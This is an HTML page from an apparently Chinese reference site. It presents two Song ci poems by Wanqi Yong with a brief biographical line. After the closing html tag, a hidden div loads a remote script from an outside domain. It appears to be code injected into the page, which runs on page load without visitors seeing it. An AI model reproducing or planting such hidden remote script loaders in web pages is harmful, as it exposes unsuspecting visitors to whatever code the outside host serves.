<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-万俟咏</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>万俟咏</strong></span></div>

	<div class="Cont_tit sc">
		<h1>万俟咏</h1>
		<span>字雅言，籍贯与生卒年均不详。徽宗时曾任大晟府制撰。绍兴五年(1135)补下州文学。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>忆秦娥</strong></div><div class="sc_det_cont">千里草，萋萋尽处遥山小。遥山小，行人远似，此山多少？<br/>天若有情天亦老，此情说便说不了。说不了，一声唤起，又惊春晓。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>三台</strong></div><div class="sc_det_cont">清明应制<br/>见梨花初带夜月，海棠半含朝雨。内苑春、不禁过青门，御沟涨、潜通南浦。东风静，细柳垂金缕，望凤阙非烟非雾。好时代、朝野多欢，遍九陌、太平箫鼓。乍莺儿百啭断续，燕子飞来飞去。近绿水、台榭映秋千，斗草聚、双双游女。<br/>饧香更、酒冷踏青路；会暗识、夭桃朱户。向晚骤、宝马雕鞍，醉襟惹、乱花飞絮。正轻寒轻暖漏水，半阴半晴云暮。禁火天、已是试新妆，岁华到、三分佳处。清明看、汉蜡传宫炬，散翠烟、飞入槐府。敛兵卫、阊阖门开，住传宣、又还休务。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>万俟咏</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>